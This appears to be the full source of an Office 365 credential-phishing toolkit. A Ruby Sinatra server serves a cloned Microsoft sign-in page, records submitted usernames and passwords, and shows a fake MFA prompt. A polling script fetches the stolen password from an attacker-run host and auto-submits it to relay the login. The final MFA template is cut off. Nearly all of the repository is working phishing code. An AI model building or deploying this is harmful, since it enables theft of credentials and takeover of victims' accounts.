├── .gitattributes
├── 3652fa.rb
├── Gemfile
├── LICENSE
├── README.md
├── public
    ├── 365admin.js
    ├── index.html
    └── logon.css
├── typescript
    ├── 365admin.tsx
    ├── tsconfig.json
    └── tslint.json
└── views
    └── mfa.erb


/.gitattributes:
--------------------------------------------------------------------------------
1 | public linguist-vendored
2 | 


--------------------------------------------------------------------------------
/3652fa.rb:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env ruby
 2 | 
 3 | require 'json'
 4 | require 'sinatra'
 5 | 
 6 | $values = 'none'.to_json
 7 | 
 8 | set :bind, '0.0.0.0'
 9 | 
10 | get '/' do
11 |   send_file 'public/index.html'
12 | end
13 | 
14 | get '/captured' do
15 |   # Alert: CORS * is near-universally a bad idea.
16 |   # Being literally a hacking tool I'm going to allow it, but please note, in any other context,
17 |   # this could be the dumbest code ever written. Please don't do this.
18 |   headers 'Access-Control-Allow-Origin' => '*'
19 | 
20 |   $values
21 | end
22 | 
23 | post '/capture' do
24 |   $values = {login: params['UsernameForm'],
25 |      passwd: params['PasswordForm'] }.to_json
26 |   @email = params['UsernameForm']
27 |   erb :mfa
28 | end
29 | 


--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
1 | source 'https://rubygems.org'
2 | gem 'rake'
3 | gem 'sinatra'
4 | gem 'puma'
5 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright 2017 <technion@lolware.net>
2 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
4 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
5 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Office 365 MFA Capture Tool
 2 | 
 3 | See my blog [here](https://lolware.net/2017/08/01/capturing-mfa-logons.html) for additional information relating to this toolkit.
 4 | 
 5 | ## Installation
 6 | 
 7 | ```
 8 | git clone git@github.com:technion/3652fa.git
 9 | cd 3652fa
10 | bundle install
11 | ```
12 | 
13 | ## Starting application
14 | 
15 | ./3652fa.rb
16 | 
17 | ## Development
18 | 
19 | ### Building Javascript
20 | 
21 | This will require Typescript, because anything that makes Javascript less horrible is a good thing. Do not edit the .js file directly, edit the .tsx file and rebuild it:
22 | 
23 |     tsc 365admin.tsx --outfile ../public/365admin.js
24 | 
25 | Be sure any changes to the file come up clean with tslint:
26 | 
27 |     tslint 365admin.tsx
28 | 
29 | 


--------------------------------------------------------------------------------
/public/365admin.js:
--------------------------------------------------------------------------------
 1 | var pollserver = function (url) {
 2 |     fetch(url + "/captured", {}).then(function (response) {
 3 |         if (!response.ok) {
 4 |             throw new Error("Network response returned "
 5 |                 + response.status);
 6 |         }
 7 |         return response.json();
 8 |     }).then(function (data) {
 9 |         console.log("Retreived data: " + data);
10 |         if (data === "none") {
11 |             setTimeout(pollserver(url), 3000);
12 |         }
13 |         else {
14 |             // Credentials detected - submitting form
15 |             console.log(JSON.stringify(data));
16 |             document.getElementById("cred_password_inputtext")
17 |                 .value = data.passwd;
18 |             document.getElementById("credentials").submit();
19 |         }
20 |     })["catch"](function (err) {
21 |         console.error(err.message);
22 |     });
23 | };
24 | // Set this URL to your base address
25 | var url = "http://lolware.net:4567";
26 | setTimeout(pollserver(url), 3000);
27 | 


--------------------------------------------------------------------------------
/public/index.html:
--------------------------------------------------------------------------------
  1 | <head>
  2 |     <title>Sign in to Microsoft Online Services</title>
  3 |     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4 |     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
  5 |     <meta http-equiv="Pragma" content="no-cache">
  6 |     <meta http-equiv="Expires" content="-1">
  7 |     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  8 |     <meta name="PageID" content="i5030.2.0">
  9 |     <meta name="SiteID" content="10">
 10 |     <meta name="ReqLC" content="1033">
 11 |     <meta name="LocLC" content="1033">
 12 |     <meta name="mswebdialog-newwindowurl" content="*">
 13 |     <link rel="SHORTCUT ICON" href="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/images/favicon_a.ico">
 14 |     <link href="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/css/login.ltr.css" rel="stylesheet" type="text/css">
 15 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/jquery.1.5.1.min.js" type="text/javascript"></script>
 16 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/aad.login.js" type="text/javascript"></script>
 17 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/jquery.easing.1.3.js" type="text/javascript"></script>
 18 |     <style>
 19 |         body {
 20 |             display: none;
 21 |         }
 22 |     </style>
 23 | </head>
 24 | 
 25 | 
 26 | 
 27 | <body>
 28 |     <script>
 29 |         if (self == top) {
 30 |             var body = $('body');
 31 |             body.css('display', 'block');
 32 |         } else {
 33 |             top.location = self.location;
 34 |         }
 35 |     </script>
 36 |     <div id="background_branding_container" class="ie_legacy" style="background: #FFFFFF">
 37 |         <img id="background_background_image" alt="Illustration for Microsoft Online Services">
 38 |         <div id="background_company_name_text" class="background_title_text"></div>
 39 |     </div>
 40 |     <div id="background_page_overlay" class="overlay ie_legacy">
 41 |     </div>
 42 |     <div id="login_no_script_panel" class="login_panel">
 43 |         <table class="login_panel_layout" style="height: 100%;">
 44 |             <tr class="login_panel_layout_row" style="height: 100%;">
 45 |                 <td id="login_panel_left"></td>
 46 |                 <td id="login_panel_center">
 47 | 
 48 |                 </td>
 49 |                 <td id="login_panel_right">
 50 |                 </td>
 51 |             </tr>
 52 |         </table>
 53 |         <td id="login_panel_right">
 54 |         </td>
 55 |     </div>
 56 |     <div id="login_panel" class="login_panel">
 57 |         <table class="login_panel_layout" style="height: 100%;">
 58 |             <tr class="login_panel_layout_row" style="height: 100%;">
 59 |                 <td id="login_panel_left"></td>
 60 |                 <td id="login_panel_center">
 61 | 
 62 | 
 63 |                     <!--office365 logo-->
 64 |                     <script type="text/javascript">
 65 |                         $(document).ready(function() {
 66 | 
 67 | 
 68 |                             Constants.DEFAULT_LOGO = 'https://secure.aadcdn.microsoftonline-p.com/aadbranding/1.0.1/aadlogin/Office365/logo.png';
 69 |                             Constants.DEFAULT_LOGO_ALT = 'Sign in';
 70 |                             Constants.DEFAULT_ILLUSTRATION = 'https://secure.aadcdn.microsoftonline-p.com/aadbranding/1.0.1/aadlogin/Office365/illustration.jpg';
 71 |                             Constants.DEFAULT_BACKGROUND_COLOR = '#EB3C00';
 72 | 
 73 |                             Context.TenantBranding.workload_branding_enabled = true;
 74 |                             User.UpdateLogo(Constants.DEFAULT_LOGO, Constants.DEFAULT_LOGO_ALT);
 75 |                             User.UpdateBackground(Constants.DEFAULT_ILLUSTRATION, Constants.DEFAULT_BACKGROUND_COLOR);
 76 |                             Context.TenantBranding.whr_key = '';
 77 |                             jQuery('img#logo_img').attr('src', '');
 78 |                             Context.use_instrumentation = true;
 79 |                             User.moveFooterToBottom('250px');
 80 |                         });
 81 |                     </script>
 82 | 
 83 |                     <div class="login_inner_container">
 84 |                         <div class="inner_container cred">
 85 |                             <div class="login_workload_logo_container">
 86 |                             </div>
 87 |                             <div class="login_cta_container normaltext">
 88 |                                 <div id="login_cta_text" class="cta_message_text 1">Sign in with your organizational account</div>
 89 |                             </div>
 90 |                             <ul class="login_cred_container">
 91 |                                 <li class="login_cred_field_container">
 92 |                                     <div id="cred_userid_container" class="login_textfield textfield">
 93 |                                         <span class="input_field textfield">
 94 |                  <label for="UsernameForm" class="no_display">User account</label>
 95 |                   <div class="input_border">
 96 |                 </span>
 97 |                                         <form method="POST" action="capture" name="LoginForm" autocomplete="off">
 98 |                                             </br>
 99 |                                             <input type="text" name="UsernameForm" class="login_textfield textfield required email field normaltext" placeholder="someone@example.com " tabindex="1">
100 |                                             </br>
101 |                                             </br>
102 |                                             <input type="password" name="PasswordForm" placeholder="Password" class="login_textfield textfield required field normaltext" tabindex="2" type="password" aria-label="Password">
103 |                                             </br>
104 |                                             </br>
105 |                                             </br>
106 |                                             <input type="submit" class="button normaltext cred_sign_in_button refresh_domain_state" value="Sign In">
107 |                                         </form>
108 |                                     </div>
109 |                                     <div id="cred_password_container" class="login_textfield textfield">
110 |                                         <span class="input_field textfield">
111 |                   <label for="PasswordForm" class="no_display">Password</label>
112 |                   <div class="input_border">
113 |                   </div>
114 |                 </span>
115 |                                     </div>
116 |                                     <div id="cred_hidden_inputs_container" class="no_display">
117 |                                         <input type="hidden" id="PPSX" name="PPSX" value="PassportRN">
118 |                                         <input type="hidden" name="PPFT" id="i0327" value="A1F6YNWGa2YkRUNNhPfW3T8PcqsjHEeiQmp*m*wFwPyxag08*cPrW*SpZSnKeqiDJI*EUu8ceb42zjM89!r*ck!Q6kkHvZYoRPC53LwqFG6O6YCE5yI3mHRGLjK6BurKT332TUIqbZPBSJiw!cfoJN2PCje1NESa7hs4mIzcHNmkN7DO0RJOeoWX8r1DK*UBFpxFwOw$">
119 |                                     </div>
120 |                                     </form>
121 |                                 </li>
122 |                                 <li class="login_cred_options_container">
123 |                                     <div id="cred_kmsi_container" class="subtext normaltext">
124 |                                         <span class="input_field ">
125 |                 <input tabindex="10" id="cred_keep_me_signed_in_checkbox" type="checkbox" value="0" name="persist">
126 |                 <label id="keep_me_signed_in_label_text" for="cred_keep_me_signed_in_checkbox" class="persist_text">Keep me signed in</label>
127 |               </span>
128 |                                     </div>
129 |                                 </li>
130 |                             </ul>
131 |                         </div>
132 |                     </div>
133 |                 </td>
134 |             </tr>
135 |         </table>
136 |     </div>
137 | </body>
138 | 
139 | </html>
140 | 


--------------------------------------------------------------------------------
/public/logon.css:
--------------------------------------------------------------------------------
  1 | /*Copyright (c) 2003-2006 Microsoft Corporation.  All rights reserved.*/
  2 | 
  3 | @font-face {
  4 |   font-family: "Segoe UI WPC";
  5 |   src: url("segoeui-regular.eot?#iefix") format("embedded-opentype"),
  6 |        url("segoeui-regular.ttf") format("truetype");
  7 | }
  8 | 
  9 | @font-face {
 10 |   font-family: "Segoe UI WPC Semilight";
 11 |   src: url("segoeui-semilight.eot?#iefix") format("embedded-opentype"),
 12 |        url("segoeui-semilight.ttf") format("truetype");
 13 | }
 14 | 
 15 | @font-face {
 16 |   font-family: "Segoe UI WPC Semibold";
 17 |   src: url("segoeui-semibold.eot?#iefix") format("embedded-opentype"),
 18 |        url("segoeui-semibold.ttf") format("truetype");
 19 | }
 20 | 
 21 | body.rtl 
 22 | {
 23 | 	text-align:right;
 24 | 	direction:rtl;
 25 | }
 26 | 
 27 | body, .mouse, .twide, .tnarrow, form
 28 | {
 29 |     height: 100%;
 30 |     width: 100%;
 31 |     margin: 0px;
 32 | }
 33 | 
 34 | .mouse, .twide 
 35 | {
 36 |     min-width: 650px; /* min iPad1 dimension */
 37 |     min-height: 650px;
 38 |     position: absolute;
 39 |     top:0px;
 40 |     bottom:0px;
 41 |     left:0px;
 42 |     right:0px;
 43 | }
 44 | 
 45 | .sidebar 
 46 | {
 47 |     background-color:#0072C6;
 48 | }
 49 | 
 50 | .mouse .sidebar, .twide .sidebar
 51 | {
 52 |     position:absolute;
 53 |     top: 0px;
 54 |     bottom: 0px;
 55 |     left: 0px;
 56 |     display: inline-block;
 57 |     width: 332px;
 58 | }
 59 | 
 60 | .tnarrow .sidebar
 61 | {
 62 |     display: none;
 63 | }
 64 | 
 65 | .mouse .owaLogoContainer, .twide .owaLogoContainer
 66 | {
 67 |     margin:213px auto auto 109px;
 68 |     text-align:left     /* Logo aligns left for both ltr & rtl */
 69 | }
 70 | 
 71 | .tnarrow .owaLogo 
 72 | {
 73 |     display: none;
 74 | }
 75 | 
 76 | .mouse .owaLogoSmall, .twide .owaLogoSmall
 77 | {
 78 |     display: none;
 79 | }
 80 | 
 81 | .logonDiv 
 82 | { 
 83 | 	text-align:left;
 84 | }
 85 | 
 86 | .rtl .logonDiv 
 87 | { 
 88 | 	text-align:right;
 89 | }
 90 | 
 91 | .mouse .logonContainer, .twide .logonContainer
 92 | {
 93 |     padding-top: 174px;
 94 |     padding-left: 464px;
 95 |     padding-right:142px;
 96 |     position:absolute;
 97 |     top:0px;
 98 |     bottom: 0px;
 99 |     left: 0px;
100 |     right: 0px;
101 |     text-align: center;
102 | }
103 | 
104 | .mouse .logonDiv, .twide .logonDiv
105 | {
106 |     position: relative;
107 |     vertical-align:top;
108 |     display: inline-block;
109 |     width: 423px;
110 | }
111 | 
112 | .tnarrow .logonDiv
113 | {
114 |     margin:25px auto auto -130px;
115 |     position: absolute;
116 |     left: 50%;
117 |     width: 260px;
118 |     padding-bottom: 20px;
119 | }
120 | 
121 | .twide .signInImageHeader, .tnarrow .signInImageHeader
122 | {
123 |     display: none;
124 | }
125 | 
126 | .mouse .signInImageHeader
127 | {
128 |     margin-bottom:22px;
129 | }
130 | 
131 | .twide .mouseHeader
132 | {
133 |     display: none;
134 | }
135 | 
136 | .mouse .twideHeader
137 | {
138 |     display: none;
139 | }
140 | 
141 | input::-webkit-input-placeholder
142 | {
143 |     font-size:16px;
144 |     color: #98A3A6;
145 | }
146 | 
147 | input:-moz-placeholder 
148 | {
149 |     font-size:16px;
150 |     color: #98A3A6;
151 | }
152 | 
153 | .tnarrow .signInInputLabel, .twide .signInInputLabel
154 | {
155 |     display: none;
156 | }
157 | 
158 | .mouse .signInInputLabel
159 | {
160 |     margin-bottom: 2px;
161 | }
162 | 
163 | .mouse .showPasswordCheck
164 | {
165 |     display: none;
166 | }
167 | 
168 | .signInInputText
169 | {
170 |     border:1px solid #98A3A6;
171 |     color: #333333;
172 |     border-radius: 0;
173 |     -moz-border-radius: 0;
174 |     -webkit-border-radius: 0;
175 |     box-shadow: none;
176 |     -moz-box-shadow: none;
177 |     -webkit-box-shadow: none;
178 |     -webkit-appearance:none;
179 |     background-color: #FDFDFD;
180 | 	width:250px;
181 | 	margin-bottom:10px;
182 | 	box-sizing: content-box;
183 |     -moz-box-sizing: content-box;
184 |     -webkit-box-sizing: content-box;
185 | }
186 | 
187 | .mouse .signInInputText 
188 | {
189 |     height: 22px;
190 |     font-size: 12px;
191 |     padding: 3px 5px;
192 |     color: #333333;
193 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
194 | 	margin-bottom: 20px;
195 | }
196 | 
197 | .twide .signInInputText, .tnarrow .signInInputText
198 | {
199 |     border-color: #666666;
200 |     height: 22px;
201 |     font-size: 16px;
202 |     color: #000000;
203 |     font: $ShellInputTextTouchFont;
204 |     padding: 7px 7px;
205 | 	font-family:'Segoe UI WPC Semibold','Segoe UI Semibold','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
206 | 	margin-bottom:20px;
207 | 	width: 264px;
208 | }
209 | 
210 | .divMain
211 | {
212 | 	width: 444px;
213 | }
214 | 
215 | .l
216 | {
217 | 	text-align:left;
218 | }
219 | .rtl .l
220 | {
221 | 	text-align:right;
222 | }
223 | .r
224 | {
225 | 	text-align:right;
226 | }
227 | .rtl .r
228 | {
229 | 	text-align:left;
230 | }
231 | 
232 | table#tblMain
233 | {
234 | 	margin-top: 48px;
235 | 	padding: 0px; 
236 | }
237 | table.mid
238 | {
239 | 	width: 385px;
240 | 	border-collapse:collapse;
241 | 	padding: 0px; 
242 | 	color:#444444; 
243 | }
244 | table.tblConn
245 | {
246 | 	direction:ltr;
247 | }
248 | td.tdConnImg
249 | {
250 | 	width: 22px;
251 | }
252 | td.tdConn
253 | {
254 | 	padding-top: 15px;
255 | }
256 | td#mdLft
257 | {
258 | 	background: url("lgnleft.gif") repeat-y;
259 | 	width: 15px;
260 | }
261 | td#mdRt
262 | {
263 | 	background: url("lgnright.gif") repeat-y;
264 | 	width: 15px;
265 | }
266 | td#mdMid
267 | {
268 | 	padding: 0px 45px;
269 | 	background: #ffffff; 
270 | 	vertical-align: top;
271 | }
272 | td .txtpad
273 | {
274 | 	padding: 3px 6px 3px 0px; 
275 | }
276 | .txt
277 | {
278 | 	padding: 3px; 
279 | 	height: 2.2em;
280 | }
281 | input.btn
282 | {
283 | 	color: #ffffff;
284 | 	background-color: #eb9c12;
285 | 	border: 0px; 
286 | 	padding: 2px 6px; 
287 | 	margin: 0px 6px; 
288 | 	text-align:center;
289 | }
290 | .btnOnFcs
291 | {
292 | 	color: #ffffff;
293 | 	background-color: #eb9c12;
294 | 	border: 0px; 
295 | 	padding: 2px 6px; 
296 | 	margin: 0px 6px; 
297 | 	text-align:center;
298 | }
299 | .btnOnMseOvr
300 | {
301 | 	color: #ffffff;
302 | 	background-color: #f9b133;
303 | 	border: 0px; 
304 | 	padding: 2px 6px; 
305 | 	margin: 0px 6px; 
306 | 	text-align:center;
307 | }
308 | .btnOnMseDwn
309 | {
310 | 	color: #000000;
311 | 	background-color: #f9b133;
312 | 	border: 0px solid #f9b133;
313 | 	padding: 2px 6px; 
314 | 	margin: 0px 6px; 
315 | 	text-align:center;
316 | }
317 | .nowrap
318 | {
319 | 	white-space:nowrap;
320 | }
321 | hr
322 | {
323 | 	height: 0px; 
324 | 	visibility: hidden;
325 | }
326 | 
327 | .wrng
328 | {
329 | 	color:#ff6c00;
330 | }
331 | .disBsc
332 | {
333 | 	color:#999999;
334 | }
335 | .expl
336 | {
337 | 	color:#999999;
338 | }
339 | .w100, .txt
340 | {
341 | 	width: 100%;
342 | }
343 | .txt
344 | {
345 | 	margin: 0px 6px; 
346 | }
347 | .rdo
348 | {
349 | 	margin: 0px 12px 0px 32px;
350 | }
351 | body.rtl .rdo
352 | {
353 | 	margin: 0px 32px 0px 12px;
354 | }
355 | tr.expl td, tr.wrng td
356 | {
357 | 	padding: 2px 0px 4px; 
358 | }
359 | tr#trSec td
360 | {
361 | 	padding: 3px 0px 8px; 
362 | }
363 | /* language page specific styles */
364 | td#tdLng
365 | {
366 | 	padding: 12px 0px; 
367 | }
368 | td#tdTz
369 | {
370 | 	padding: 8px 0px; 
371 | }
372 | select#selTz
373 | {
374 | 	padding: 0px; 
375 | 	margin: 0px; 
376 | }
377 | td#tdOptMsg
378 | {
379 | 	padding: 10px 0px; 
380 | }
381 | td#tdOptChk
382 | {
383 | 	padding: 0px 0px 15px 65px;
384 | }
385 | td#tdOptAcc
386 | {
387 | 	vertical-align:middle;
388 | 	padding: 0px 0px 0px 3px; 
389 | }
390 | select#selLng
391 | {
392 | 	margin: 0px 16px;
393 | }
394 | /* logoff page specific styles */
395 | td#tdMsg
396 | {
397 | 	margin: 9px 0px 64px;
398 | }
399 | input#btnCls
400 | {
401 | 	margin: 3px 6px; 
402 | }
403 | td.lgnTL, td.lgnBL
404 | {
405 | 	width: 456px;
406 | }
407 | td.lgnTM
408 | {
409 | 	background: url("lgntopm.gif") repeat-x;
410 | 	width: 100%;
411 | }
412 | td.lgnBM
413 | {
414 | 	background: url("lgnbotm.gif") repeat-x;
415 | 	width: 100%;
416 | }
417 | td.lgnTR, td.lgnBR
418 | {
419 | 	width: 45px;
420 | }
421 | table.tblLgn
422 | {
423 | 	padding: 0px; 
424 | 	margin: 0px; 
425 | 	border-collapse:collapse;
426 | 	width: 100%;
427 | }
428 | .signInBg
429 | {
430 | 	margin:0px;
431 | }
432 | 
433 | .signInTextHeader
434 | {
435 | 	font-size:60px;
436 | 	color:#404344;
437 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
438 | 	margin-bottom:18px;
439 | 	white-space: nowrap;
440 | }
441 | 
442 | .signInInputLabel
443 | {
444 | 	font-size:12px;
445 | 	color:#666666;
446 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
447 | }
448 | 
449 | .signInCheckBoxText
450 | {
451 | 	font-size:12px;
452 | 	color:#6A7479;
453 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
454 | 	margin-top:16px;
455 | }
456 | 
457 | .twide .signInCheckBoxText, .tnarrow .signInCheckBoxText
458 | {
459 |     font-size: 15px;
460 | }
461 | 
462 | .signInCheckBoxLink
463 | {
464 | 	font-size:12px;
465 | 	color:#0072C6;
466 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
467 | }
468 | 
469 | .signInEnter
470 | {
471 | 	font-size:22px;
472 | 	color:#0072C6;
473 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
474 | 	margin-top:20px;
475 | }
476 | 
477 | .twide .signInEnter
478 | {
479 | 	margin-top:17px;
480 | 	font-size: 29px;
481 | }
482 | 
483 | .tnarrow .signInEnter 
484 | {
485 | 	margin-top:2px;
486 | 	font-size: 29px;
487 | 	position: relative;
488 | 	float: left;
489 | 	left: 50%;
490 | }
491 | 
492 | .signinbutton 
493 | {
494 |     cursor:pointer;
495 |     display:inline
496 | }
497 | 
498 | .mouse .signinbutton
499 | {
500 |     padding: 0px 8px 5px 8px;
501 |     margin-left: -8px;
502 | }
503 | 
504 | .rtl .mouse .signinbutton
505 | {
506 |     margin-right: -8px;
507 | }
508 | 
509 | .tnarrow .signinbutton 
510 | {
511 | 	position: relative;
512 | 	float: left;
513 | 	left: -50%;
514 | }
515 | 
516 | .shellDialogueHead
517 | {
518 | 	font-size:29px;
519 | 	color:#0072C6;
520 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
521 | }
522 | 
523 | .mouse .shellDialogueHead 
524 | {
525 |     line-height: 35px;
526 |     margin-bottom: 10px;
527 | }
528 | 
529 | .twide  .shellDialogueHead, .tnarrow .shellDialogueHead
530 | {
531 | 	line-height:34px;
532 | 	margin-bottom: 12px;
533 | }
534 | 
535 | .shellDialogueMsg
536 | {
537 | 	font-size:13px;
538 | 	color:#333333;
539 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
540 | 	line-height:18px;
541 | }
542 | 
543 | .twide .shellDialogueMsg, .tnarrow .shellDialogueMsg
544 | {
545 |     font-size: 15px;
546 | }
547 | 
548 | .headerMsgDiv 
549 | {
550 |     width: 350px;
551 |     margin-bottom: 22px;
552 | }
553 | 
554 | .twide .headermsgdiv
555 | {
556 |     margin-bottom: 30px;
557 | }
558 | 
559 | .tnarrow .headermsgdiv
560 | {
561 |     width: 260px;
562 |     margin-bottom: 30px;
563 | }
564 | 
565 | .signInError
566 | {
567 | 	font-size:12px;
568 | 	color:#C1272D;
569 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
570 | 	margin-top:12px;
571 | }
572 | 
573 | .passwordError
574 | {
575 |     color: #A80F22;
576 | 	font-family:'Segoe UI WPC','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
577 |     line-height: 18px;
578 | }
579 | 
580 | .mouse .passwordError
581 | {    
582 |     margin-top: 10px;
583 |     font-size: 13px;
584 | }
585 | 
586 | .twide .passwordError, .tnarrow .passwordError
587 | {
588 |     margin-top: 12px;
589 |     font-size: 15px;
590 | }
591 | 
592 | .signInExpl
593 | {
594 | 	font-size:12px;
595 | 	color:#999999;
596 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
597 | 	margin-top:5px;
598 | }
599 | 
600 | .signInWarning
601 | {
602 | 	font-size:12px;
603 | 	color:#C1272D;
604 | 	font-family:'Segoe UI WPC Semilight','Segoe UI Semilight','Segoe UI',Tahoma,'Microsoft Sans Serif',Verdana,sans-serif;
605 | 	margin-top:5px;
606 | }
607 | 
608 | input.chk
609 | {
610 | 	margin-right:9px;
611 | 	margin-left:0px;
612 | }
613 | 
614 | .imgLnk
615 | {
616 | 	vertical-align: middle;	
617 | 	line-height:2;
618 | 	margin-top: -2px;
619 | }
620 | 
621 | .signinTxt
622 | {
623 | 	padding-left:11px;
624 | 	padding-right:11px;     /* Needed for RTL, doesnt hurt to add this for LTR as well */
625 | }
626 | 
627 | .hidden-submit { 
628 |     border: 0 none; 
629 |     height: 0; 
630 |     width: 0; 
631 |     padding: 0; 
632 |     margin: 0; 
633 |     overflow: hidden; 
634 | } 
635 | 
636 | .officeFooter
637 | {
638 |     position:absolute;
639 |     bottom: 33px;
640 |     right: 45px;
641 | }
642 | 
643 | .tnarrow .officeFooter
644 | {
645 |     display: none;
646 | }
647 | 


--------------------------------------------------------------------------------
/typescript/365admin.tsx:
--------------------------------------------------------------------------------
 1 | const pollserver = (url: string) => {
 2 |   fetch(
 3 |     url + "/captured", { },
 4 |   ).then((response) => {
 5 |     if (!response.ok) {
 6 |       throw new Error("Network response returned "
 7 |           + response.status);
 8 |     }
 9 |     return response.json() as any;
10 |   }).then((data) => {
11 |     console.log("Retreived data: " + data);
12 |     if (data === "none") {
13 |       setTimeout(pollserver(url), 3000);
14 |     } else {
15 |       // Credentials detected - submitting form
16 |       console.log(JSON.stringify(data));
17 |       (document.getElementById("cred_password_inputtext") as HTMLInputElement)
18 |         .value = data.passwd;
19 |       (document.getElementById("credentials") as HTMLFormElement).submit();
20 |     }
21 |   }).catch((err) => {
22 |     console.error(err.message);
23 |   });
24 | };
25 | 
26 | // Set this URL to your base address
27 | const url = "http://lolware.net:4567";
28 | setTimeout(pollserver(url), 3000);
29 | 


--------------------------------------------------------------------------------
/typescript/tsconfig.json:
--------------------------------------------------------------------------------
 1 | {
 2 |     "compilerOptions": {
 3 |         "target": "es5",
 4 |         "module": "commonjs",
 5 |         "jsx": "react",
 6 |         "declaration": false,
 7 |         "strict": true,
 8 |         "removeComments": true,
 9 |         "noLib": false,
10 |         "preserveConstEnums": true,
11 |         "sourceMap": false,
12 |         "typeRoots": ["./node_modules/@types"]
13 |     }
14 | }
15 | 


--------------------------------------------------------------------------------
/typescript/tslint.json:
--------------------------------------------------------------------------------
 1 | {
 2 |       "extends": "tslint:recommended",
 3 |       "defaultSeverity": "warning",
 4 |       "rules": {
 5 |         "max-classes-per-file": [true, 5],
 6 |         "ordered-imports": [false],
 7 |         "no-console": [false],
 8 |         "max-line-length": [false]
 9 |       }
10 | }
11 | 
12 | 


--------------------------------------------------------------------------------
/views/mfa.erb:
--------------------------------------------------------------------------------
  1 | <head>
  2 |     <title>Sign in to Microsoft Online Services</title>
  3 |     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  4 |     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
  5 |     <meta http-equiv="Pragma" content="no-cache">
  6 |     <meta http-equiv="Expires" content="-1">
  7 |     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  8 |     <meta name="PageID" content="i5030.2.0">
  9 |     <meta name="SiteID" content="10">
 10 |     <meta name="ReqLC" content="1033">
 11 |     <meta name="LocLC" content="1033">
 12 |     <meta name="mswebdialog-newwindowurl" content="*">
 13 |     <link rel="SHORTCUT ICON" href="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/images/favicon_a.ico">
 14 |     <link href="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/css/login.ltr.css" rel="stylesheet" type="text/css">
 15 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/jquery.1.5.1.min.js" type="text/javascript"></script>
 16 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/aad.login.js" type="text/javascript"></script>
 17 |     <script src="https://secure.aadcdn.microsoftonline-p.com/aad/20.200.19625/js/jquery.easing.1.3.js" type="text/javascript"></script>
 18 |     <style>
 19 |         body {
 20 |             display: none;
 21 |         }
 22 |     </style>
 23 | </head>
 24 | 
 25 | 
 26 | 
 27 | <body>
 28 |     <script>
 29 |         if (self == top) {
 30 |             var body = $('body');
 31 |             body.css('display', 'block');
 32 |         } else {
 33 |             top.location = self.location;
 34 |         }
 35 |     </script>
 36 |     <div id="background_branding_container" class="ie_legacy" style="background: #FFFFFF">
 37 |         <img id="background_background_image" alt="Illustration for Microsoft Online Services">
 38 |         <div id="background_company_name_text" class="background_title_text"></div>
 39 |     </div>
 40 |     <div id="background_page_overlay" class="overlay ie_legacy">
 41 |     </div>
 42 |     <div id="login_no_script_panel" class="login_panel">
 43 |         <table class="login_panel_layout" style="height: 100%;">
 44 |             <tr class="login_panel_layout_row" style="height: 100%;">
 45 |                 <td id="login_panel_left"></td>
 46 |                 <td id="login_panel_center">
 47 | 
 48 |                 </td>
 49 |                 <td id="login_panel_right">
 50 |                 </td>
 51 |             </tr>
 52 |         </table>
 53 |         <td id="login_panel_right">
 54 |         </td>
 55 |     </div>
 56 |     <div id="login_panel" class="login_panel">
